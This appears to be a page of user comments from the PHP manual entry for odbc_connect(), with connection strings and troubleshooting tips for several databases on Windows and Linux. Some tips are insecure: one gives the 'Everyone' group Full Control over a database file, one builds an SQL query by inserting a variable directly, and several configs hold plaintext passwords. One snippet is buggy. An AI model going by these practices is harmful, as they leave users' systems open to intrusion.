<?php $db = odbc_connect('Driver=SQLite3;Database=' . Database::DATABASE, '', '') or die('could not open database!'); ?>

In Debian or Ubuntu package libsqliteodbc is requried. Check /etc/odbc.ini and /etc/odbcinst.ini.
Shyam Hazari 25-Oct-2009 03:43
Here is my successful odbc_connect with mysql on Ubuntu. It took me a while to figure this out.

Installed following packages using apt-get.

apache2
apache2-mpm-prefork
apache2-utils
apache2.2-common
libapache2-mod-php5
libdbd-mysql-perl
libmyodbc
libmysqlclient15off
mysql-client-5.0
mysql-common
mysql-server-5.0
mysql-server-core-5.0
odbcinst1debian1
php5
php5-cli
php5-common
php5-odbc
unixodbc

/etc/odbc.ini
------------
myodbc3      = MySQL ODBC 3.51 Driver

[myodbc3]
Driver         = /usr/lib/odbc/libmyodbc.so
Description  = MySQL ODBC 3.51 Driver
Server        = localhost
Port           = 3306
User           = shyam
Password    = mypass
Database    = mysql
Option        = 3
Socket       = /var/run/mysqld/mysqld.sock

/etc/odbcinst.ini
----------------
[MySQL ODBC 3.51 Driver]
Description    = MySQL driver
Driver        = /usr/lib/odbc/libmyodbc.so
Setup        = /usr/lib/odbc/libodbcmyS.so
CPTimeout    =
CPReuse    =
UsageCount    = 1

my php script
------------

<html>
<body>
<?
$conn = odbc_connect("DRIVER={MySQL ODBC 3.51 Driver};Server=localhost;Database=mysql", "shyam", "mypass");

$sql = "SELECT user from user";
$rs = odbc_exec($conn,$sql);
echo "<table><tr>";
echo "<th>User Name</th></tr>";
while (odbc_fetch_row($rs))
 {
 $user = odbc_result($rs,"user");
 echo "<tr><td>$user</td></tr>";
}
odbc_close($conn);
echo "</table>";
?>

</body>
</html>
drew at pixelburn dot net 02-Jul-2009 05:32
[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified

If you keep running  into this on the 64 bit versions of windows, ie server 2008,  and none of the other solutions helped.

In a 64 bit windows server operating system, there are TWO odbc managers. When you pull up the usual menu for the odbc / dsn system, it is for the 64 bit odbc manager, and 32 bit applications (vb 6.0, PHP 5) will not work using these dsn's.

This is where the 32 bit odbc manager is:

C:\Windows\SysWOW64\odbcad32.exe
eisalen at yahoo dot com 22-Sep-2008 04:21
I've been having trouble displaying Russian characters from Access database using ODBC. You might try this solution, though it is using ADODB.Connection COM connection with added charset setting.

<?php
$db_connection = new COM("ADODB.Connection", NULL, 1251);
$db_connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=C:\DataDir\Employee.mdb;DefaultDir=C:\DataDir";

$db_connection->open($db_connstr);
$rs = $db_connection->execute("SELECT EmpNameLocal, EmpPosLocal FROM tbl_Employee WHERE ID='$IDNo'");
$rs_fld0 = $rs->Fields(0);
$rs_fld1 = $rs->Fields(1);
while (!$rs->EOF) {
    $empNameLoc    = $rs_fld0->value;
    $empWPPos    = $rs_fld1->value;
    $rs->MoveNext();
}

$rs->Close();
$db_connection->Close();
?>
Anonymous 11-Sep-2008 01:16
This might be obvious to some, but here is a quick tidbit that might save you some time if you're using FreeTDS in Linux:

Be sure that you have these two lines in freetds.conf:
dump file = /tmp/freetds.log
dump file append = yes

so you can tail -f it in the background of debugging the problem.  This helped me find my issue on on CentOS Linux:

1) tsql test works
2) isql test works
3) odbc connection in php also works WHEN RUN FROM THE SHELL
4) running PHP through apache does NOT work.

my /tmp/freetds.log file told me:
net.c:168:Connecting to MYDBSERVER port MYDBPORT
net.c:237:tds_open_socket: MYDBSERVER:MYDBPORT: Permission denied

and the answer was my firewall/SELinux was denying the Apache processes access to connect to the remote MSSQL DB port, but my shell accounts were fine.
Anonymous 11-Jun-2008 08:08
I have used mdbtools to access .mdb file on my ubuntu box, as ODBC driver (and PHP)
It has very few features, and practically unusable.
jared (who is at) hatwhite * com 27-Mar-2008 11:04
It is indeed possible to read the data stored in an MSAccess .mdb file while remaining entirely within Linux. It is thanks to the mdbtools project, which created an MDB driver for unix.

Up to you to get PHP to move this data around. Here are the links to get you started:

Documentation:
ftp://kalamazoolinux.org/pub/pdf/dbaccess.pdf

ODBC on Linux:
http://www.unixodbc.org/

MDB driver for the odbc system created above:
http://mdbtools.sourceforge.net/

Note that on most modern Linux boxen, you can bypass the (documented) command-line configuration and installation of these projects; simply use apt-get or some similar package installer.

The documentation link covers more than the mdb driver and is a good place to start for all data access in Linux. Much thanks to the hard work which went into these three projects.

-Jared
Ceeclipse 05-Feb-2008 01:36
"Returns an ODBC connection id or 0 (FALSE) on error."

Keep in mind that the following code in PHP5 will not work properly:

<?php

if( odbc_connect("test", "test", "test") === false ) {
    // Your error reporting/handling here..
}

?>

odbc_connect() returns an integer, and not a PHP5 boolean!
stefanov at uk dot ibm dot com 29-Aug-2007 02:15
As a follow up to my previous post regarding "PHP get data from IBM Tivoli Netcool ObjectServer (Sybase database)", the link to the article has changed and is now:

http://pimmy.co.uk/index.php/ObjectServer_PHP

Regards,

Pimmy
exkludge at gmail dot com 16-Jan-2007 04:02
After doing "harald dot angel at gmail dot com" suggestion, you may still receive this error:

"Warning: odbc_connect() [function.odbc-connect]: SQL error: [Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot open the file '(unknown)'. It is already opened exclusively by another user, or you need permission to view its data., SQL state S1000 in SQLConnect in... "

You may need to include the <computer name> of the machine where the ODBC is, to the <local group> of the machine where the *.mdb is stored. And make sure that the <local group> has enough permission to access the *.mdb.

hope this make somebody more happy!

more power to opensource.
francesco_NO_SPAM_at_paladinux_dot_net 07-Jan-2007 11:33
For connection to Informix database via ODBC, there are some problem (depending from the version of DB).
It's possible, if you have ver. 2.x or 3.x, than in insert query mode a double string, the server answer :
[Informix][Informix ODBC Driver][Informix]Character to numeric conversion error, SQL state 37000 in SQLExecDirect in server/page.php.
The only way to resolve the problem to resolve the problem is add the US-English locales to the PHP connection.

Paladinux
harald dot angel at gmail dot com 06-Dec-2006 06:12
- Windows - OS
- Apache
- ODBC-Connction to MS-Access DB on a:
- Network Share

After many hours searching hereÂ´s how it works:

- Map the Network Drive where the mdb is located
- Setup System DSN in Control Panel with mapped Drive
- Open Registry at:
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI
- Edit the for example "M:\" to "\\server\..."
- Close Regedit
- The Apache-Service must run with a Domain (network)-User!!
- After that you can connect using:

$conn = odbc_connect('your-dsn-name','','');

hope that makes someone happy :)
bye
Ray.Paseur sometimes uses GMail 28-Nov-2006 07:48
To connect and show tables in a Microsoft Access data base (created in *.asp pages)...

$dbq    =    str_replace("/", "\\", $_SERVER["DOCUMENT_ROOT"]) . "\\path\\to\\database.mdb";
if    (!file_exists($dbq)) { echo "Crap!<br />No such file as $dbq"; }

$db_connection = odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=$dbq", "ADODB.Connection", "password", "SQL_CUR_USE_ODBC");

$result = odbc_tables($db_connection);

while (odbc_fetch_row($result)) {
    if(odbc_result($result,"TABLE_TYPE")=="TABLE") {
        echo "<br />" . odbc_result($result,"TABLE_NAME");
    }
}
stefanov at uk dot ibm dot com 08-Nov-2006 04:41
Short tutorial on how to connect to the IBM Tivoli Netcool ObjectServer (based on Sybase):

http://nuqm.micromuse.com/wiki/index.php/ObjectServer_PHP

Hopefully this will save some people precious time..

Cheers,
Pimmy
sven dot delmeiren at cac dot be 09-Aug-2006 07:39
Hi,

Instructions on how to connect to a Progress database on Linux using the Merant ODBC driver can be found at http://www.progteg.com/english/documents.html.

Kind regards,

Sven Delmeiren
Computers & Communications NV
Kalle Sommer Nielsen 08-Apr-2006 06:30
To use MySQL via ODBC:
<?php
    $db_host        = "server.mynetwork";
    $db_user        = "dbuser";
    $db_pass        = "dbpass";
    $dsn =         "DRIVER={MySQL ODBC 3.51 Driver};" .
            "CommLinks=tcpip(Host=$db_host);" .
            "DatabaseName=$db_name;" .
            "uid=$db_user; pwd=$db_pass";

    odbc_connect($dsn, $db_user, $db_pass);
?>
gekkeprutser at gmail dot com 06-Dec-2005 06:35
I also had a problem with this message: ([ODBC SQL Server driver]Allocation of a Sybase Open Client Context failed). The message only appeared after the server had run for a few hours, so I expected resource starvation. However it was a settings problem and I thought this might benefit others too.

In addition to putting a <?php putenv ("SYBASE=c:\sybase"); ?>  as described by oottavi above, I also had so specify a locale by setting <?php putenv ("LC_ALL=default"); ?>.

Even though my locale was already set to a valid one (en_US) I had to set this environment variable to make it work anyhow.
owen at silicon-dream dot com 13-Sep-2005 08:07
Connecting to an access database was as simple as the following line for me.

odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . str_replace("/", "\\", $_SERVER["DOCUMENT_ROOT"]) . "\_database\dbname.mdb", "", "")
webmaster at dzconnexion dot com 05-May-2005 08:44
Concerning the note posted by Grisu on the 23-Dec-2003 11:51: Connect to an MS-Access Database on the Network via ODBC,

PLEASE dont forget to put double slashes as follows:

"\\\\Server\\folder\\database.mdb"

when setting up the registry key as indicated...
rotwhiler at hotmail dot com 29-Apr-2005 08:42
For anyone having problems with WHERE clauses in their MS Access ODBC requests here’s what I found: SQL requests sent to Access must include quotes around the criteria.

$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
outputs:
SELECT * FROM table1 WHERE cust_id = 'cust1'
And works.

$sel = ‘SELECT * FROM table1 WHERE cust_id = cust1’;
outputs:
SELECT * FROM table1 WHERE cust_id = cust1
And doesn’t work.

Here’s the whole block of code:
$conn = odbc_connect("database1","","");
$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
$exec = odbc_exec($conn,$sel);
while($row = (odbc_fetch_array($exec)))
 $serv[odbc_result($exec,'label')] = $row;
print_r($serv);
aurelien marchand 30-Mar-2005 07:54
For three days I fought to be able to connect our Linux intranet server to our AS400 database through ODBC and PHP on Mandrake. I installed everything I thought would work but I still got a: odbc_connect(): SQL error: Missing server name, port, or database name in call to CC_connect., SQL state IM002 in SQLConnect

Note that isql was working great but php was failing to connect.

The solution:
I located and found a PHP module called php-unixODBC (to oppose with php-odbc). Once installed (even though it wasn't for the right version of PHP), I realised it didn't place the file properly. The ini file was in /etc/php/ instead of /etc/php.d/, so I moved it there and renamed the old /etc/php.d/36_odbc.ini to /etc/php.d/36_odbc.ini.sav, so that I now had /etc/php.d/36_unixodbc.ini. I restarted the httpd server and now I was able to access the as400.

If you have questions, email _artaxerxes2_at_iname_dot_com (sans the underscore).
ramsosa at yahoo dot com 11-Mar-2005 11:47
Connecting to ADS (Advantage Database Server) using Windows. When you setup data source in ODBC Manager (PHP_SERVER) don't use a mapped drive in Database or Data Dictionary Path, or you cannot connect:

Lets suppose that you share C:\ADS_SERVER\ADS as ADS.
Mapping to a drive X: in PHP_SERVER

Instead of:

X:\APP\DATA\APP.ADD

use UNC:

\\ADS_SERVER\ADS\APP\DATA\APP.ADD

if the ADS ODBC dialog don´t let you to browse a Network Drive type it manually
aamaral at 0kbps dot net 03-Mar-2005 10:16
Two additional notes regarding ODBC connections to a Network Sybase SQL Anywhere 8 Server..

I wrote a script using the PHP5 CLI binary that monitors a directory for changes, then updates a Network Server SQL Anywhere 8 database when a change was detected. Idealy, my program would run indefinately, and issue odbc_connect()/odbc_close() when appropriate. However, it seems that once connected, your odbc session is limited to 30 seconds of active time, after which, the connection becomes stale, and no further queries can be executed.  Instead, it returns a generic "Authentication violation"  error from the odbc driver.

Here's an example:

<?php
  $conn=odbc_connect($connect_string,'','');
  $result=odbc_exec($qry,$conn);  //returns data
  sleep(31);
  $result=odbc_exec($qry,$conn);  //"Authentication Violation"
?>

Additionally, it seems that odbc_close() doesn't truely close the connection (at least not using Network SQL Anywhere 8). The resource is no longer usable after the odbc_close() is issued, but as far as the server is concerned, there is still a connection present. The connection doesn't truely close until after the php script has ended, which is unfortunate, because a subsequent odbc_connect() commands appear to reuse the existing stale connection, which was supposedly closed.

My workaround was to design my script exit entirely after a the database update had completed.  I then called my script whithin a batch file and put it inside an endless loop.

I'm not sure if this is a bug with PHP or what, but I thought I'd share in case someone else is pulling their hair out trying to figure this one out...
aamaral at 0kbps dot net 16-Feb-2005 12:29
To connect to Sybase SQL Server Anywhere 8.0 on Windows use the following:

<?php
//================================================================

  // Configure connection parameters
  $db_host        = "server.mynetwork";
  $db_server_name = "Dev_Server";
  $db_name        = "Dev_Data";
  $db_file        = 'c:\dbstorage\dev.db';
  $db_conn_name   = "php_script";
  $db_user        = "dbuser";
  $db_pass        = "dbpass";

//================================================================
  $connect_string = "Driver={Adaptive Server Anywhere 8.0};".
                    "CommLinks=tcpip(Host=$db_host);".
                    "ServerName=$db_server_name;".
                    "DatabaseName=$db_name;".
                    "DatabaseFile=$db_file;".
                    "ConnectionName=$db_conn_name;".
                    "uid=$db_user;pwd=$db_pass";

  // Connect to DB
  $conn = odbc_connect($connect_string,'','');

  // Query
  $qry = "SELECT * FROM my_table";

  // Get Result
  $result = odbc_exec($conn,$qry);

  // Get Data From Result
  while ($data[] = odbc_fetch_array($result));

  // Free Result
  odbc_free_result($result);

  // Close Connection
  odbc_close($conn);

  // Show data
  print_r($data);

//================================================================
?>
manuel dot vecino at steria dot es 16-Nov-2004 03:04
Hi Mario, I changed a bit your script to suit my configuration,
I also included a lines to close the connection.
Thanks for the script
I am running apache 2.0.52 and PHP 5.0.2. Windows 2000
SQL 2000

<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#FFFFFF">
<table width="75%" border="1" cellspacing="1" cellpadding="1" bgcolor="#FFFFFF">
  <tr bgcolor="#CCFFFF">
    <td height="22"><b>Tipo</b></td>
    <td height="22"><b>Marca</b></td>
    <td height="22"><b>Modelo</b></td>
  </tr>

<?php
$cx=odbc_pconnect("RAMPANT","Invent","pass","");
$cur=odbc_exec($cx,"select tipo,marca,modelo from inv_equipos");
while(odbc_fetch_row($cur))
{
//collect results
$tipo=odbc_result($cur,1);
$marca=odbc_result($cur,2);
$modelo=odbc_result($cur,3);
//format and display results
    print ("<tr>");
    print ("<td>$tipo</td>");
    print ("<td>$marca</td>");
    print ("<td>$modelo</td>");
    print ("</tr>");
    }

//disconnect from database
    odbc_close($cx);

    ?>

</table>
</body>
</html>
emin dot eralp at bg dot com dot tr 15-Oct-2004 09:46
A VERY IMPORTANT NOTE OF CAUTION FOR WINDOWS USERS DEVELOPING ON NON-NETWORKED SYSTEMS

If like me you are developing on a stand-alone system (Windows XP professional running IIS).  Make sure that the the folder your database resides in is shared, otherwise you will get the following type of message:

Current Recordset does not support updating. This may be a limitation of the provider, or of the selected locktype.'

and you will spend 2 days (as I did) looking for the right combination of settings to write the record properly.
f dot chehimi at lancaster dot ac dot uk (Fadi) 09-Jul-2004 01:13
This is the typical solution with the steps to follow if someone wants to connect MS Access to PHP. it took me a couple of hours actually till i reached it. i just wanted to ease the hassle for my colleagues in order not to waste their time as i did. this is the duty of every programmer towards his/her peers :p
here you are the CAKE :)

<?php

// to have this working:
// 1- u  have first to creat ur access database using MS
//     Access  (i asume u know how to do this). My database
//     that i used in my example is called "Questionaire.mdb".
//     the table in it is called "Results"
//
// 2- then u have to add this database to ODBC in the
//     control panel.
//
// 3- the adition happens by adding "MS Access Driver" to the
//     "System DNS" tab in ODBC Data Source Administrator. if
//     u have that "MS Access Driver" in "User DNS" tab, then
//     u have to delete it.
//
// 4- click on Add in the "System DNS" tab.
//
// 5- choose "MS Access Driver" from the "Creat New
//     Database Source" window and click finish.
//
// 6- then the "ODBC MS Access Setup" window will pop-up.
//
// 7- give the driver the name that you want to use in your
//     PHP scripting. i used here "MSAccessDriver".

// 8- after this, choose the "Select" button in "ODBC MS
//     Access Setup" to set the path of your Access database.
//
// 9-then u r done!!

// this odbc_connect does the connection to the driver i
// created in the ODBC Administrator
$con = odbc_connect('MSAccessDriver','','');

if ($con)
{
  echo "odbc connected<br>";
  $sql =  "select * from Results";

  //this function will execute the sql satametn in
  //correspondance to the table in the db
  $exc = odbc_exec($con,$sql);
}
else
  echo "odbc not connected<br>";

if($exc)
{
  echo "selection completed<br>";
  while($row = odbc_fetch_row($exc) )
       echo $row->id."<br>";
}
else
  echo "selection failed<br>";

?>
d-m at eudoramail dot com 22-Jun-2004 12:05
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Compiling Apache + PHP + DB2 8.1  without the DATABASE instaled at the WebServer Machine!
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/

Go to the machine that you have DB2 DATABASE instaled and COPY the include files from the DB2 8.1 DataBase to the PHP source directory:

Sample:
[root@DB2_SERVER/usr/opt/db2_08_01/include]# scp * user@webserver:/usr/src/php-4.3.7/ext/odbc/.

INSTALLING THE WEBSERVER!
Enter in the WebServer as root and ...

-- DB2 --
Install Administration Client
Catalog the DataBases
-- END DB2 --

-- LIB --
vi /etc/ld.so.conf
add line: /opt/IBM/db2/V8.1/lib
execute: ldconfig
-- END LIB --

Download PHP + MODSSL + OPENSSL + APACHE!

--- APACHE ---
cd ../mod_ssl-2.8.18-1.3.31
./configure  --enable-module=so --with-apache=../apache_1.3.31 --with-ssl=../openssl-0.9.7d
cd ../apache_1.3.31/
make
make certificate TYPE=custom
make install
--- END APACHE ---

OBS:  CRIPT the CA.key
    DO NOT CRYPT server.key

-- PHP --
cd ../php-4.3.7
./configure  --with-apxs=/usr/local/apache/bin/apxs --with-mysql --with-pgsql --with-zip=/usr/local/lib --with-ibm-db2=/opt/IBM/db2/V8.1
make
make install
-- END PHP ---

-- APACHE EDIT TO RUN DB2 --
vim /usr/local/apache/bin/apachectl
add line: . /home/db2inst1/sqllib/db2profile
-- END APACHE EDIT TO RUN DB2 --
NOW run /usr/local/apache/bin/apachectl startssl

DONE !!!!!

You have a WebServer with PHP with DB2,MYSQL,POSTGRES and SSL Support.

Enjoy IT!

[]´s
Helio Ferenhof
simonr at no2sp at m dot cogapp dot com 01-Jun-2004 05:26
To make a DSN-less connection using ODBC to MS-SQL:

<?php

$connection_string = 'DRIVER={SQL Server};SERVER=<servername>;DATABASE=<databasename>';

$user = 'username';
$pass = 'password';

$connection = odbc_connect( $connection_string, $user, $pass );

?>

servername is the name of the database server

databasename is the name of the database

Note, I've only tried this from a windows box using the Microsoft ODBC drivers.
therebel at tiscali dot fr 31-Mar-2004 07:06
To connect to a MDB Access file without adding a system dsn to Windows :

$cfg_dsn = "DRIVER=Microsoft Access Driver (*.mdb);
DBQ=C:/Access.mdb;
UserCommitSync=Yes;
Threads=3;
SafeTransactions=0;
PageTimeout=5;
MaxScanRows=8;
MaxBufferSize=2048;
DriverId=281;
DefaultDir=C:/ProgramFiles/CommonFiles/ODBC/DataSources";

$cfg_dsn_login = "";
$cfg_dsn_mdp = "";

odbc_connect($cfg_dsn,$cfg_dsn_login,$cfg_dsn_mdp);
sa_kelkar at yahoo dot com 10-Mar-2004 07:41
While Installing PHP  + Apache + DB2 some time it give problem with odbc_connect(). . to solve this problem

make sure that u have made following entry in /etc/ld.so.conf

/usr/IBMdb2/V7.1/lib
/usr/IBMdb2/V7.1/include
/usr/lib

please add following line on line no 25 in /etc/rc.d/init.d/httpd

./home/db2inst1/sqllib/db2profile
(i.e /home/(instant name)/sqllib/db2profile

for more detail please visit to IBM site

it will work
atze at o2o dot com dot au 04-Feb-2004 03:41
To connect to a SQL DB on a unix srv via odbc one can use one of the following solutions.

1. having an odbc.ini (~/.odbc.ini)

[PostgreSQL]
Description         = PostgreSQL template1
Driver              = PostgreSQL
Trace               = Yes
TraceFile           = /tmp/odbc.log
Database            = PerfTest
Servername          = localhost
UserName            = boss
Password            = BigBoss
Port                = 5432
Protocol            = 6.4
ReadOnly            = Yes
ConnSettings        =

[Default]
Driver = /local/lib/libodbc.so

2. specifying a DSN

function DBCALL($SQL)
{
$U = "boss";
$DB = "PerfTest";
$P = "BigBoss";
$Srv = "llocalhost";
$DSN = "Driver=PostgreSQL;Server=$Srv;Database=$DB";

echo "Trying to connect to $DSN\n";
if ($CID = odbc_connect ("$DSN","$U","$P",SQL_CUR_USE_ODBC))
{
    echo "still trying CID = $CID\n";
    if ($RES = odbc_exec($CID, $SQL))
    {
        echo "RES = $RES\n";
        print_r($RES);
        echo "\n";

        $NR = odbc_num_rows($RES);

<snip>

Hope this helps.
Grisu 23-Dec-2003 03:51
Connect to an MS-Access Database on the Network via ODBC

Apache 2.0.47 with PHP 4.3.4 running on Windows XP Pro

If you encounter the error
"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

you should make sure to have the following done:

The ODBC-link must be a System-DNS and not a User-DNS. Configure your ODBC-link and then modify your configuration with regedt32. Go to HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI and open your ODBC-link. The field DBQ contains the path to your database. This path must be without Drive-names (e. g. "M:") so change it to "\\Server\folder\database.mdb". This setting is changed each time you modify your ODBC-configuration using the Windows-tool, so make sure you do this afterwards.

Then you go to the Services-Section in your Systemmanagement. Select the properties of your Apache module. In the login-section you have to make sure you login with a valid User-Account for your Network-Server.

Please note that this way you still have no permission to access linked tables within the linked database

Funny enough all this is not necessary on Win98.
TheFrenZ 07-Nov-2003 04:22
If you encounter the error:

"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

Windows with PHP, running under IIS/PWS, PHP runs under the anonymous user, INET_USR_"server" (were "server" is your servername).
This user has no read access in the ODBC System DSN tree in the registry.

With regedt32 open HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI and give read access to every ODBC entry you want to use with PHP.

Beware: With every change to a ODBC system DSN, the rights on that ODBC system DSN are gone again, and you have to change the rights again manualy.

Under Apache, PHP runs under the System account and you wont have this problem.
lffranco at dco.pemex.com 27-Aug-2003 06:08
As always Microsoft is clueless... I've been trying to connect to an Access database on a W2K on the network (not a local file, but mapped on the V: drive), via ODBC.

All I got is this message:
Warning: SQL error: [Microsoft][ODBC Microsoft Access Driver] '(unknown)' is not a valid path. Make sure that the path name is spelled correctly and that you are connected to the server on which the file resides., SQL state S1009 in SQLConnect in d:\apache\cm\creaart.php on line 13

So... I started looking al around and looks like the ODBC driver has some severe problems:

1. It cannot access a Access database via a mapped drive. And this is for ANY application, name it PHP, Coldfusion, whatever
2. You cannot make a system DSN with a UNC (\\Server\resource), so you must map the drive

Cute isn't it?

So... I quit on ODBC and went via ADO, this is the code that works:

=== CODE ===

$db = '\\\\server\\resource\\db.mdb';
$conn = new COM('ADODB.Connection');
$conn->Open("DRIVER={Driver do Microsoft Access (*.mdb)}; DBQ=$db");

// Driver do Microsoft Access (*.mdb)
// must be the name in your odbc drivers, the one you get
// from the Data Sources (ODBC).
// In this case, I'm in Mexico but the driver name is in portuguese, thanks Microsoft.

$sql = 'SELECT username FROM tblUsuarios';
$res = $conn->Execute($sql);
while (!$res->EOF)
{
    print $res->Fields['username']->Value . "<br>";
    $res->MoveNext();
}

$res->Close();
$conn->Close();
$res = null;
$conn = null;

=== /CODE ===
eric dot ramirez at iberoonline dot com 30-May-2003 10:44
Connecting with SQL in a ODBC source

2 ways, one is if your SQL server is runign in your machine

$ser="LOCALMACHINE"; #the name of the SQL Server
$db="mydatabase"; #the name of the database
$user="myusername"; #a valid username
$pass="my pass"; #a password for the username

# one line
$conn=odbc_connect("Driver={SQL Server};Server=".$ser.";Database=".$db,$user,$pass);
# one line

the second way is if the SQL Server is runing in other machine but in the same network

$ser="LOCALMACHINE"; #the name of the SQL Server
$db="mydatabase"; #the name of the database
$user="myusername"; #a valid username
$pass="my pass"; #a password for the username

#one line
$conn=odbc_connect("DRIVER=SQL Server;SERVER=".$ser.";UID=".$user.";PWD=".$pass.";
DATABASE=".$db.";
Address=".$ser.",1433","","");
#one line
richard at lordrich dot com 02-May-2003 04:07
Because the dsn needs to be system-wide, you will also need write access to the registry to set it up.
Yvan Ecarri 21-Mar-2003 03:01
I fighted with the "Data source name not found and no
default driver specified, SQL state IM002 in SQLConnect"
error for a while trying to connect via ODBC to a SQL Server
2000. Finally I found this workaround:

$cn = odbc_connect("Driver={SQL Server};Server=MyServer;Database=MyDatabase",
"MyUser","MyPassword")

Change "MyServer", "MyDatabase", "MyUser" and "MyPassword" to the right values.

I guess that adding the "Integrated Security=YES" will work too.

Regards,

Yvan Ecarri, MCDBA, MCSD
jeremy at austin.ibm.com 28-Feb-2003 02:20
here's a quick note about using php and db2 that cost me a couple of hours and several recompiles trying to figure out why it didn't work.

put the below line in any script

     putenv("DB2INSTANCE=db2inst1");

Or, set that in your webserver environment somehow.
sambou at everyonesports dot com 16-Dec-2002 02:11
If you encounter the error:

"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

make sure you have the correct permission to your database file (e.g. if using Win2k, might want to set the "Everyone" group to "Full Control").  For Windows, I find that I have to sometimes use the registry editor (e.g. RegEdt32.exe) to set the database file's permission because for some unknown reason, setting the permission from the file's "Properties" option does not work.
oottavi at netcourrier dot com 06-Nov-2002 10:36
If you have problem to connect to sybase with an ODBC driver, try to set up your SYBASE environment variable to the correct directory.
([ODBC SQL Server driver]Allocation of a Sybase Open Client Context failed)

Ex : Here is a connection to a DSN

putenv("SYBASE=c:\sybase");

$conn  =  odbc_connect("DSN1","USER","PASSWORD");
echo  "conn:  $conn";
if  ($conn  <=  0)  {
        echo  "Error  in  connection";
        exit;
} else  {
        echo  "<P>Connection  successful\n";
};
mortoray at ecircle-ag dot com 31-Oct-2002 04:31
If you have switched to a new Version of PHP (from 4.1 to 4.3) and at the same time have upgraded your Apache server (from 1.x to 2.x) and suddenly get the error:

"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

It may be because you have your ODBC connections listed (Control Panel | ODBC) as User DSN rather than System DSN.  They need to be System DSN in order for the PHP in the Apache service to access to them.
osiris at rich-howard dot co dot uk 24-Jul-2002 10:34
Thought I'd add a note here on this. I'm using Apache 2.0.39 on Windows XP and PHP 4.2.2.

It helps a lot if you don't use capital letters in your dsn string.

Thought I also comment on the posts about using system dsns over file dsns. There are lots of posts saying use systems not files, but none (that I have seen) which explain why.

Essentially: File DSNs are specific to the current user, therefore the Internet Guest User Account doesn't have rights to them. Systems are available to everyone.

Regards

Osiris :)
d-m at eudoramail dot com 05-Feb-2002 09:40
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
odbc_connect ERRO at DB2
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/

To Solve the problem with DB2 + PHP folow this steps!

INSTALL THE PROGRAM LIKE THIS!

-- DB2 --
Install the DataBank
Install Application Tools
-- END DB2 --

--- APACHE ---
cd ../mod_ssl-2.8.5-1.3.22/
./configure  --enable-module=so --with-apache=../apache_1.3.22/  --with-ssl=../openssl-0.9.6c/
cd ../apache_1.3.22/
make
make certificate TYPE=custom
make install
--- END APACHE ---

-- PHP --
cd ../php-4.1.1/
./configure  --with-apxs=/usr/local/apache/bin/apxs --with-pgsql --with-mysql --with-ibm-db2=/usr/IBMdb2/V7.1
make
make install
-- END PHP ---

-- LIB --
vim /etc/ld.so.conf
add line: /usr/IBMdb2/V7.1/lib
execute: ldconfig
-- END LIB --

To Solve the error ODBC_CONNECT exec the db2profile at the apachectl!!! Like this!

-- APACHE EDIT TO RUN DB2 --
vim /usr/local/apache/bin/apachectl
add line: . /usr/home/db2inst1/sqllib/db2profile
-- END APACHE EDIT TO RUN DB2 --

NOW run /usr/local/apache/bin/apachectl startssl

DONE !!!!!

You have a DB2 + APACHE + SSL + PHP + MYSQL + POSTGRES .

Enjoy

[]´s
Helio Ferenhof
whuang at cadvision dot com 18-Jan-2002 06:32
If you (still) get that annoying error like and you're using Access:

MSaccess DSN(Microsoft Jet engine couldn't open the database 'Unknow'.
Another user is using it exclusively, or you dont have permission to use
it).

Make sure your access *.mdb file is not on a network drive. Put it on C: or D: disable all security first so you can test the connection. Once you can verify that you can connect add appropriate passwords, group access, etc.

-=WH=-
bill at ergoitsolutions dot com 14-Dec-2001 10:36
odbc connect to Oracle 8.0.xxx / NT4 / IIS4 / php.exe (4.1.0)
had a lot of trouble connecting kept receiving the 12154 TNS error.
Found a really useful hint in a mail msg on phpbuilder.  http://www.phpbuilder.com/mail/php-db/2001051/0192.php
Had to strip the <cr>'s out of both sqlnet.ora and tnsnames.ora to get a connection established.  Also had trouble in php.ini need to
fully qualify extension_dir on NT if you leave the last \ on the dir
name it is replaced with a /
Mahmoud at iastate dot edu 29-Nov-2001 12:35
WINNT 4 Workstation, PHP4

odbc_connect() kept giving me weird errors when trying to connect to a MSaccess DSN(Microsoft Jet engine couldn't open the database 'Unknow'. Another user is using it exclusively, or you dont have permission to use it).

After going nuts for a while, I realized that my database name had a space in it (course surveys.mdb), I shortened the name to eliminate the space .. and everything worked fine.
lomaky at yahoo dot com 23-Nov-2001 02:30
// simple conection

$cnx = odbc_connect('cliente','Administrador','');
//query
$SQL_Exec_String =  "select * from Clientes";
//ejecucion query
$cur= odbc_exec( $cnx, $SQL_Exec_String );
echo  "<table border=1><tr><th>Dni</th><th>Nombre</th>".
         "<th>codigo</th><th>ciudad</th></tr>\n";
    while( odbc_fetch_row( $cur ) ) {
       $Dni= odbc_result( $cur, 1 );
       $Nombre= odbc_result( $cur, 2 );
       $codigo= odbc_result( $cur, 3 );
       $ciudad= odbc_result( $cur, 4 );
        echo  "<tr><td>$Dni</td><td>$Nombre</td>".
             "<td>$codigo</td><td>$ciudad</td></tr>\n";
    }
    echo  "</table>";
root at mediamonks dot net 19-Nov-2001 04:03
Due to multiple requests, more for DSN-less connections:

<?php
$db_connection = new COM("ADODB.Connection");

